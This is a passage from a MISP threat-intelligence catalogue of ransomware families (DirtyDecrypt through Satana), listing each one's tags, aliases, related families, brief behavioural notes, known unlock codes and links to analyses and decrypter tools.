Ransomware
The tag is: misp-galaxy:ransomware="DirtyDecrypt"
Links |
https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html |
DMALocker
Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0
The tag is: misp-galaxy:ransomware="DMALocker"
Links |
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg |
DMALocker 3.0
Ransomware
The tag is: misp-galaxy:ransomware="DMALocker 3.0"
Links |
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg |
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/ |
DNRansomware
Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT
The tag is: misp-galaxy:ransomware="DNRansomware"
Links |
https://twitter.com/BleepinComputer/status/822500056511213568 |
Domino
Ransomware Based on Hidden Tear
The tag is: misp-galaxy:ransomware="Domino"
Links |
https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html |
DoNotChange
Ransomware
The tag is: misp-galaxy:ransomware="DoNotChange"
Links |
https://id-ransomware.blogspot.com/2017/03/donotchange-ransomware.html |
DummyLocker
Ransomware
The tag is: misp-galaxy:ransomware="DummyLocker"
Links |
DXXD
Ransomware
The tag is: misp-galaxy:ransomware="DXXD"
Links |
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/ |
https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html |
HiddenTear
Ransomware Open sourced C#
The tag is: misp-galaxy:ransomware="HiddenTear"
HiddenTear is also known as:
-
Cryptear
-
EDA2
-
Hidden Tear
HiddenTear has relationships with:
-
similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"
Links |
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html |
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html |
EduCrypt
Ransomware Based on Hidden Tear
The tag is: misp-galaxy:ransomware="EduCrypt"
EduCrypt is also known as:
-
EduCrypter
Links |
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html |
EiTest
Ransomware
The tag is: misp-galaxy:ransomware="EiTest"
Links |
https://twitter.com/malwrhunterteam/status/845652520202616832 |
El-Polocker
Ransomware Has a GUI
The tag is: misp-galaxy:ransomware="El-Polocker"
El-Polocker is also known as:
-
Los Pollos Hermanos
Links |
https://id-ransomware.blogspot.com/2016/07/el-polocker-ransomware-aes-450-aud.html |
Encoder.xxxx
Ransomware Coded in GO
The tag is: misp-galaxy:ransomware="Encoder.xxxx"
Encoder.xxxx is also known as:
-
Trojan.Encoder.6491
Encoder.xxxx has relationships with:
-
similar: misp-galaxy:ransomware="Windows_Security Ransonware" with estimative-language:likelihood-probability="likely"
Links |
encryptoJJS
Ransomware
The tag is: misp-galaxy:ransomware="encryptoJJS"
Links |
https://id-ransomware.blogspot.com/2016/11/encryptojjs-ransomware.html |
Enigma
Ransomware
The tag is: misp-galaxy:ransomware="Enigma"
Enjey
Ransomware Based on RemindMe
The tag is: misp-galaxy:ransomware="Enjey"
Links |
https://twitter.com/malwrhunterteam/status/839022018230112256 |
Fairware
Ransomware Target Linux O.S.
The tag is: misp-galaxy:ransomware="Fairware"
Links |
http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/ |
Fakben
Ransomware Based on Hidden Tear
The tag is: misp-galaxy:ransomware="Fakben"
FakeCryptoLocker
Ransomware
The tag is: misp-galaxy:ransomware="FakeCryptoLocker"
Links |
Fantom
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="Fantom"
Fantom is also known as:
-
Comrad Circle
Links |
FenixLocker
Ransomware
The tag is: misp-galaxy:ransomware="FenixLocker"
Links |
https://id-ransomware.blogspot.com/2016/09/fenixlocker-ransomware.html |
FILE FROZR
Ransomware RaaS
The tag is: misp-galaxy:ransomware="FILE FROZR"
Links |
https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html |
FileLocker
Ransomware
The tag is: misp-galaxy:ransomware="FileLocker"
Links |
FireCrypt
Ransomware
The tag is: misp-galaxy:ransomware="FireCrypt"
FireCrypt has relationships with:
-
similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"
Flyper
Ransomware Based on EDA2 / HiddenTear
The tag is: misp-galaxy:ransomware="Flyper"
Links |
https://twitter.com/malwrhunterteam/status/773771485643149312 |
https://id-ransomware.blogspot.com/2016/09/flyper-ransomware.html |
Fonco
Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents
The tag is: misp-galaxy:ransomware="Fonco"
FortuneCookie
Ransomware
The tag is: misp-galaxy:ransomware="FortuneCookie"
Links |
Free-Freedom
Ransomware Unlock code is: adam or adamdude9
The tag is: misp-galaxy:ransomware="Free-Freedom"
Free-Freedom is also known as:
-
Roga
Free-Freedom has relationships with:
-
similar: misp-galaxy:ransomware="Roga" with estimative-language:likelihood-probability="likely"
Links |
https://twitter.com/BleepinComputer/status/812135608374226944 |
https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html |
FSociety
Ransomware Based on EDA2 and RemindMe
The tag is: misp-galaxy:ransomware="FSociety"
Links |
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/ |
https://id-ransomware.blogspot.com/2016/08/fsociety-ransomware.html |
GhostCrypt
Ransomware Based on Hidden Tear
The tag is: misp-galaxy:ransomware="GhostCrypt"
Links |
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip |
https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html |
Gingerbread
Ransomware
The tag is: misp-galaxy:ransomware="Gingerbread"
Links |
Globe v1
Ransomware
The tag is: misp-galaxy:ransomware="Globe v1"
Globe v1 is also known as:
-
Purge
GNL Locker
Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker
The tag is: misp-galaxy:ransomware="GNL Locker"
GNL Locker has relationships with:
-
similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html |
Gomasom
Ransomware
The tag is: misp-galaxy:ransomware="Gomasom"
Links |
http://id-ransomware.blogspot.com/2016/05/gomasom-ransonware.html |
Hacked
Ransomware Jigsaw Ransomware variant
The tag is: misp-galaxy:ransomware="Hacked"
Links |
http://id-ransomware.blogspot.com/2016/12/hackedlocker-ransomware.html |
HappyDayzz
Ransomware
The tag is: misp-galaxy:ransomware="HappyDayzz"
Links |
https://twitter.com/malwrhunterteam/status/847114064224497666 |
http://id-ransomware.blogspot.com/2017/03/happydayzz-blackjocker-ransomware.html |
HDDCryptor
Ransomware Uses https://diskcryptor.net for full disk encryption
The tag is: misp-galaxy:ransomware="HDDCryptor"
HDDCryptor is also known as:
-
Mamba
HDDCryptor has relationships with:
-
similar: misp-galaxy:malpedia="Mamba" with estimative-language:likelihood-probability="likely"
Links |
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho |
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/] |
http://id-ransomware.blogspot.com/2016/09/hddcryptor-ransomware-mbr.html |
Heimdall
Ransomware File marker: "Heimdall---"
The tag is: misp-galaxy:ransomware="Heimdall"
Links |
https://id-ransomware.blogspot.com/2016/11/heimdall-ransomware.html |
Help_dcfile
Ransomware
The tag is: misp-galaxy:ransomware="Help_dcfile"
Links |
http://id-ransomware.blogspot.com/2016/09/helpdcfile-ransomware.html |
Herbst
Ransomware
The tag is: misp-galaxy:ransomware="Herbst"
Herbst has relationships with:
-
similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"
Links |
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware |
https://id-ransomware.blogspot.com/2016/06/herbst-autumn-ransomware-aes-256-01.html |
Hi Buddy!
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="Hi Buddy!"
Links |
http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html |
Hitler
Ransomware Deletes files
The tag is: misp-galaxy:ransomware="Hitler"
Links |
http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html |
HolyCrypt
Ransomware
The tag is: misp-galaxy:ransomware="HolyCrypt"
HolyCrypt has relationships with:
-
similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"
HTCryptor
Ransomware Includes a feature to disable the victim’s windows firewall Modified in-dev HiddenTear
The tag is: misp-galaxy:ransomware="HTCryptor"
Links |
https://twitter.com/BleepinComputer/status/803288396814839808 |
HydraCrypt
Ransomware CrypBoss Family
The tag is: misp-galaxy:ransomware="HydraCrypt"
Links |
http://www.malware-traffic-analysis.net/2016/02/03/index2.html |
https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html |
iLock
Ransomware
The tag is: misp-galaxy:ransomware="iLock"
Links |
https://twitter.com/BleepinComputer/status/817085367144873985 |
International Police Association
Ransomware CryptoTorLocker2015 variant
The tag is: misp-galaxy:ransomware="International Police Association"
Links |
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe |
iRansom
Ransomware
The tag is: misp-galaxy:ransomware="iRansom"
Links |
http://id-ransomware.blogspot.com/2016/11/iransom-ransomware.html |
JagerDecryptor
Ransomware Prepends filenames
The tag is: misp-galaxy:ransomware="JagerDecryptor"
Links |
Jeiphoos
Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.
The tag is: misp-galaxy:ransomware="Jeiphoos"
Jeiphoos is also known as:
-
Encryptor RaaS
-
Sarento
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/ |
Jhon Woddy
Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH
The tag is: misp-galaxy:ransomware="Jhon Woddy"
Links |
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip |
https://twitter.com/BleepinComputer/status/822509105487245317 |
Jigsaw
Ransomware Has a GUI
The tag is: misp-galaxy:ransomware="Jigsaw"
Jigsaw is also known as:
-
CryptoHitMan
Jigsaw has relationships with:
-
similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"
Links |
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/ |
https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html |
Job Crypter
Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC
The tag is: misp-galaxy:ransomware="Job Crypter"
Links |
https://twitter.com/malwrhunterteam/status/828914052973858816 |
http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html |
JohnyCryptor
Ransomware
The tag is: misp-galaxy:ransomware="JohnyCryptor"
Links |
http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html |
KawaiiLocker
Ransomware
The tag is: misp-galaxy:ransomware="KawaiiLocker"
Links |
http://id-ransomware.blogspot.com/2016/09/kawaiilocker-ransomware.html |
KeRanger
Ransomware OS X Ransomware
The tag is: misp-galaxy:ransomware="KeRanger"
KeRanger has relationships with:
-
similar: misp-galaxy:malpedia="KeRanger" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/03/keranger-ransomware.html |
KEYHolder
Ransomware via remote attacker. tuyuljahat@hotmail.com contact address
The tag is: misp-galaxy:ransomware="KEYHolder"
Links |
https://id-ransomware.blogspot.com/2016/06/keyholder-ransomware-xor-cfb-cipher.html |
KillerLocker
Ransomware Possibly Portuguese dev
The tag is: misp-galaxy:ransomware="KillerLocker"
Links |
https://twitter.com/malwrhunterteam/status/782232299840634881 |
http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html |
KimcilWare
Ransomware websites only
The tag is: misp-galaxy:ransomware="KimcilWare"
Links |
http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html |
Korean
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="Korean"
Links |
http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html |
Kozy.Jozy
Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com
The tag is: misp-galaxy:ransomware="Kozy.Jozy"
Kozy.Jozy is also known as:
-
QC
Links |
KratosCrypt
Ransomware kratosdimetrici@gmail.com
The tag is: misp-galaxy:ransomware="KratosCrypt"
Links |
https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html |
KryptoLocker
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="KryptoLocker"
Links |
https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html |
LanRan
Ransomware Variant of open-source MyLittleRansomware
The tag is: misp-galaxy:ransomware="LanRan"
Links |
http://id-ransomware.blogspot.com/2017/03/lanran-ransomware.html |
LeChiffre
Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker
The tag is: misp-galaxy:ransomware="LeChiffre"
Links |
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/ |
http://id-ransomware.blogspot.com/2016/05/lechiffre-ransomware.html |
Lick
Ransomware Variant of Kirk
The tag is: misp-galaxy:ransomware="Lick"
Links |
Linux.Encoder
Ransomware Linux Ransomware
The tag is: misp-galaxy:ransomware="Linux.Encoder"
Linux.Encoder is also known as:
-
Linux.Encoder.{0,3}
Links |
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/ |
LK Encryption
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="LK Encryption"
Links |
https://twitter.com/malwrhunterteam/status/845183290873044994 |
http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html |
LLTP Locker
Ransomware Targeting Spanish speaking victims
The tag is: misp-galaxy:ransomware="LLTP Locker"
Links |
http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html |
Locker
Ransomware has GUI
The tag is: misp-galaxy:ransomware="Locker"
Links |
https://id-ransomware.blogspot.com/2016/04/locker-ransomware-2015.html |
LockLock
Ransomware
The tag is: misp-galaxy:ransomware="LockLock"
Links |
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/ |
https://id-ransomware.blogspot.com/2016/09/locklock-ransomware.html |
Locky
Ransomware Affiliations with Dridex and Necurs botnets
The tag is: misp-galaxy:ransomware="Locky"
Locky has relationships with:
-
similar: misp-galaxy:malpedia="Locky" with estimative-language:likelihood-probability="likely"
Links |
https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/ |
Lortok
Ransomware
The tag is: misp-galaxy:ransomware="Lortok"
Links |
https://id-ransomware.blogspot.com/2016/06/lortok-ransomware-aes-256-5.html |
LowLevel04
Ransomware Prepends filenames
The tag is: misp-galaxy:ransomware="LowLevel04"
Links |
http://id-ransomware.blogspot.com/2016/04/lowlevel04-ransomware.html |
M4N1F3STO
Ransomware Does not encrypt Unlock code=suckmydicknigga
The tag is: misp-galaxy:ransomware="M4N1F3STO"
Links |
http://id-ransomware.blogspot.com/2016/12/m4n1f3sto-ransomware.html |
Mabouia
Ransomware OS X ransomware (PoC)
The tag is: misp-galaxy:ransomware="Mabouia"
Links |
MacAndChess
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="MacAndChess"
Links |
http://id-ransomware.blogspot.com/2017/03/macandchess-ransomware.html |
Magic
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="Magic"
Links |
http://id-ransomware.blogspot.com/2016/04/magic-ransomware.html |
MaktubLocker
Ransomware
The tag is: misp-galaxy:ransomware="MaktubLocker"
Links |
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/ |
http://id-ransomware.blogspot.com/2016/04/maktub-locker-ransomware.html |
MarsJoke
Ransomware
The tag is: misp-galaxy:ransomware="MarsJoke"
Meister
Ransomware Targeting French victims
The tag is: misp-galaxy:ransomware="Meister"
Links |
Meteoritan
Ransomware
The tag is: misp-galaxy:ransomware="Meteoritan"
Links |
https://twitter.com/malwrhunterteam/status/844614889620561924 |
http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html |
MIRCOP
Ransomware Prepends files Demands 48.48 BTC
The tag is: misp-galaxy:ransomware="MIRCOP"
MIRCOP is also known as:
-
Crypt888
Links |
http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/ |
https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html |
MireWare
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="MireWare"
Links |
http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html |
Mischa
Ransomware Packaged with Petya PDFBewerbungsmappe.exe
The tag is: misp-galaxy:ransomware="Mischa"
Mischa is also known as:
-
"Petya’s little brother"
Links |
https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html |
MM Locker
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="MM Locker"
MM Locker is also known as:
-
Booyah
MM Locker has relationships with:
-
similar: misp-galaxy:ransomware="Booyah" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html |
Mobef
Ransomware
The tag is: misp-galaxy:ransomware="Mobef"
Mobef is also known as:
-
Yakes
-
CryptoBit
Mobef has relationships with:
-
similar: misp-galaxy:ransomware="CryptoBit" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html |
Monument
Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant
The tag is: misp-galaxy:ransomware="Monument"
Links |
https://twitter.com/malwrhunterteam/status/844826339186135040 |
N-Splitter
Ransomware Russian Koolova Variant
The tag is: misp-galaxy:ransomware="N-Splitter"
Links |
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q |
n1n1n1
Ransomware Filemaker: "333333333333"
The tag is: misp-galaxy:ransomware="n1n1n1"
Links |
http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html |
NanoLocker
Ransomware no extension change, has a GUI
The tag is: misp-galaxy:ransomware="NanoLocker"
NanoLocker has relationships with:
-
similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html |
Nemucod
Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes
The tag is: misp-galaxy:ransomware="Nemucod"
Links |
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/ |
http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html |
Netix
Ransomware
The tag is: misp-galaxy:ransomware="Netix"
Netix is also known as:
-
RANSOM_NETIX.A
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/ |
https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html |
Nhtnwcuf
Ransomware Does not encrypt the files / Files are destroyed
The tag is: misp-galaxy:ransomware="Nhtnwcuf"
Links |
http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html |
NMoreira
Ransomware
The tag is: misp-galaxy:ransomware="NMoreira"
NMoreira is also known as:
-
XRatTeam
-
XPan
Links |
id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html[id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html] |
NoobCrypt
Ransomware
The tag is: misp-galaxy:ransomware="NoobCrypt"
Links |
https://id-ransomware.blogspot.com/2016/07/noobcrypt-ransomare-250-nzd.html |
Nuke
Ransomware
The tag is: misp-galaxy:ransomware="Nuke"
Links |
http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html |
Nullbyte
Ransomware
The tag is: misp-galaxy:ransomware="Nullbyte"
Links |
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip |
http://id-ransomware.blogspot.com/2016/08/nullbyte-ransomware.html |
ODCODC
Ransomware
The tag is: misp-galaxy:ransomware="ODCODC"
Offline ransomware
Ransomware email addresses overlap with .777 addresses
The tag is: misp-galaxy:ransomware="Offline ransomware"
Offline ransomware is also known as:
-
Vipasana
-
Cryakl
Offline ransomware has relationships with:
-
similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"
Links |
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html |
OMG! Ransomware
Ransomware
The tag is: misp-galaxy:ransomware="OMG! Ransomware"
OMG! Ransomware is also known as:
-
GPCode
OMG! Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="GPCode" with estimative-language:likelihood-probability="likely"
Operation Global III
Ransomware Is a file infector (virus)
The tag is: misp-galaxy:ransomware="Operation Global III"
Links |
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/ |
Owl
Ransomware
The tag is: misp-galaxy:ransomware="Owl"
Owl is also known as:
-
CryptoWire
Owl has relationships with:
-
similar: misp-galaxy:malpedia="CryptoWire" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/10/cryptowire-ransomware.html |
PadCrypt
Ransomware has a live support chat
The tag is: misp-galaxy:ransomware="PadCrypt"
PadCrypt has relationships with:
-
similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"
Links |
https://twitter.com/malwrhunterteam/status/798141978810732544 |
http://id-ransomware.blogspot.com/2016/04/padcrypt-ransomware.html |
Padlock Screenlocker
Ransomware Unlock code is: ajVr/G\ RJz0R
The tag is: misp-galaxy:ransomware="Padlock Screenlocker"
Links |
https://twitter.com/BleepinComputer/status/811635075158839296 |
Patcher
Ransomware Targeting macOS users
The tag is: misp-galaxy:ransomware="Patcher"
Patcher has relationships with:
-
similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/ |
Petya
Ransomware encrypts disk partitions PDFBewerbungsmappe.exe
The tag is: misp-galaxy:ransomware="Petya"
Petya is also known as:
-
Goldeneye
Petya has relationships with:
-
similar: misp-galaxy:malpedia="Petya" with estimative-language:likelihood-probability="likely"
Links |
http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator |
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/ |
Philadelphia
Ransomware Coded by "The_Rainmaker"
The tag is: misp-galaxy:ransomware="Philadelphia"
Links |
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/] |
http://id-ransomware.blogspot.ru/2016/09/philadelphia-ransomware.html |
PizzaCrypts
Ransomware
The tag is: misp-galaxy:ransomware="PizzaCrypts"
Links |
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip |
https://id-ransomware.blogspot.com/2016/07/pizzacrypts-ransomware-1.html |
PokemonGO
Ransomware Based on Hidden Tear
The tag is: misp-galaxy:ransomware="PokemonGO"
Links |
https://id-ransomware.blogspot.com/2016/08/pokemongo-ransomware-aes-256.html |
Polyglot
Ransomware Immitates CTB-Locker
The tag is: misp-galaxy:ransomware="Polyglot"
Polyglot has relationships with:
-
similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/ |
PowerWare
Ransomware Open-sourced PowerShell
The tag is: misp-galaxy:ransomware="PowerWare"
PowerWare is also known as:
-
PoshCoder
PowerWare has relationships with:
-
similar: misp-galaxy:malpedia="PowerWare" with estimative-language:likelihood-probability="likely"
PowerWorm
Ransomware no decryption possible, throws key away, destroys the files
The tag is: misp-galaxy:ransomware="PowerWorm"
Princess Locker
Ransomware
The tag is: misp-galaxy:ransomware="Princess Locker"
PRISM
Ransomware
The tag is: misp-galaxy:ransomware="PRISM"
Links |
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/ |
R
Ransomware
The tag is: misp-galaxy:ransomware="R"
Links |
https://twitter.com/malwrhunterteam/status/846705481741733892 |
R980
Ransomware
The tag is: misp-galaxy:ransomware="R980"
Links |
http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html |
RAA encryptor
Ransomware Possible affiliation with Pony
The tag is: misp-galaxy:ransomware="RAA encryptor"
RAA encryptor is also known as:
-
RAA
Links |
https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html |
Rabion
Ransomware RaaS Copy of Ranion RaaS
The tag is: misp-galaxy:ransomware="Rabion"
Links |
Radamant
Ransomware
The tag is: misp-galaxy:ransomware="Radamant"
Radamant has relationships with:
-
similar: misp-galaxy:malpedia="Radamant" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html |
Rakhni
Ransomware Files might be partially encrypted
The tag is: misp-galaxy:ransomware="Rakhni"
Rakhni is also known as:
-
Agent.iih
-
Aura
-
Autoit
-
Pletor
-
Rotor
-
Lamer
-
Isda
-
Cryptokluchen
-
Bandarchor
Rakhni has relationships with:
-
similar: misp-galaxy:ransomware="Bandarchor" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/07/bandarchor-ransomware-aes-256.html |
RanRan
Ransomware
The tag is: misp-galaxy:ransomware="RanRan"
Links |
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption |
Ransoc
Ransomware Doesn’t encrypt user files
The tag is: misp-galaxy:ransomware="Ransoc"
Ransoc has relationships with:
-
similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"
Links |
Ransom32
Ransomware no extension change, Javascript Ransomware
The tag is: misp-galaxy:ransomware="Ransom32"
Links |
RansomLock
Ransomware Locks the desktop
The tag is: misp-galaxy:ransomware="RansomLock"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2 |
RarVault
Ransomware
The tag is: misp-galaxy:ransomware="RarVault"
Links |
http://id-ransomware.blogspot.com/2016/09/rarvault-ransomware.html |
Razy
Ransomware
The tag is: misp-galaxy:ransomware="Razy"
Links |
http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html |
RektLocker
Ransomware
The tag is: misp-galaxy:ransomware="RektLocker"
Links |
http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html |
RemindMe
Ransomware
The tag is: misp-galaxy:ransomware="RemindMe"
Links |
http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html |
Rokku
Ransomware possibly related with Chimera
The tag is: misp-galaxy:ransomware="Rokku"
Rokku has relationships with:
-
similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/ |
https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html |
RoshaLock
Ransomware Stores your files in a password protected RAR file
The tag is: misp-galaxy:ransomware="RoshaLock"
Links |
https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html |
Runsomewere
Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background
The tag is: misp-galaxy:ransomware="Runsomewere"
Links |
RussianRoulette
Ransomware Variant of the Philadelphia ransomware
The tag is: misp-galaxy:ransomware="RussianRoulette"
Links |
SADStory
Ransomware Variant of CryPy
The tag is: misp-galaxy:ransomware="SADStory"
Links |
https://twitter.com/malwrhunterteam/status/845356853039190016 |
http://id-ransomware.blogspot.com/2017/03/sadstory-ransomware.html |
Sage 2.2
Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.
The tag is: misp-galaxy:ransomware="Sage 2.2"
Links |
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate |
Samas-Samsam
Ransomware Targeted attacks -Jexboss -PSExec -Hyena
The tag is: misp-galaxy:ransomware="Samas-Samsam"
Samas-Samsam is also known as:
-
samsam.exe
-
MIKOPONI.exe
-
RikiRafael.exe
-
showmehowto.exe
-
SamSam Ransomware
-
SamSam
-
Samsam
Samas-Samsam has relationships with:
-
similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"
Sanction
Ransomware Based on HiddenTear, but heavily modified keygen
The tag is: misp-galaxy:ransomware="Sanction"
Links |
http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html |
Sanctions
Ransomware
The tag is: misp-galaxy:ransomware="Sanctions"
Links |
http://id-ransomware.blogspot.com/2017/03/sanctions-2017-ransomware.html |
Sardoninir
Ransomware
The tag is: misp-galaxy:ransomware="Sardoninir"
Links |
https://twitter.com/BleepinComputer/status/835955409953357825 |
Satana
